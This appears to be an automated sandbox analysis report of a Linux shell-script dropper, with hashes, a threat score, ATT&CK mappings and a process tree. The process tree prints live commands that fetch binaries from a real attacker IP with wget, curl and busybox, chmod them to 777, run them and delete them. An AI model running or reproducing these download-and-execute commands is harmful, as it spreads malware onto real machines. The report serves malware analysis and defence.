87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3

Analysis

max time kernel
43s
max time network
47s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/10/2024, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3.sh
Size 10KB
Sample241030-ddekyswpcm
SHA256 87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3
MD5 61e83457cfb41c7529cd65c1a4ede028
SHA1 55bbc583c8bd78f293ec52db2bc4129d6f061942
SHA512 86c82400fd8097f3897c6f5fe4efce0f2ca9ca858eadbde803449471ec4c74d9f699a283f291d7338d015eb6e64bff98b0b4dc2588e4a3da08f14efd278015d2
SSDEEP 192:1GmfiGFjHK92CjsMOT/XklJo7q4DHSB5REGmfiGFjH62CjsMG/XklJCDHSB5RI:1GmfiGFjHK6T/XklJo7qtGGmfiGFjHnL
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 16 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
706	chmod
736	chmod
809	chmod
840	chmod
774	chmod
793	chmod
855	chmod
861	chmod
867	chmod
700	chmod
721	chmod
784	chmod
825	chmod
849	chmod
689	chmod
753	chmod

Executes dropped EXE 16 IoCs

Checks CPU configuration 1 TTPs 16 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl

/tmp/87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3.sh
/tmp/87b3a023794d3ede58ff56e2c51854f4793679e4499220e05847cf504f3722c3.sh
1⤵
PID:661
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:665
- /usr/bin/wget
  wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:670
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:686
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:691
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:699
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:705
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:708
- /usr/bin/wget
  wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:718
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:722
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:723
- /usr/bin/wget
  wget http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:733
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:739
- /usr/bin/wget
  wget http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:750
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:771
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:776
- /usr/bin/wget
  wget http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:783
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:786
- /usr/bin/wget
  wget http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:791
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:796
- /usr/bin/wget
  wget http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:806
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:822
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:838
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:842
- /usr/bin/wget
  wget http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:848
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:851
- /usr/bin/wget
  wget http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:854
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:857
- /usr/bin/wget
  wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:860
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:863
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:866
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:869
- /usr/bin/wget
  wget http://87.120.84.230/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:870

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK

Path /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	690	M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	701	Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	707	5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	722	KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	738	62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	754	fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	775	2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	785	FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	795	iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	810	PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	826	dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	841	CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	850	aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	856	UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	862	M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	868	Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads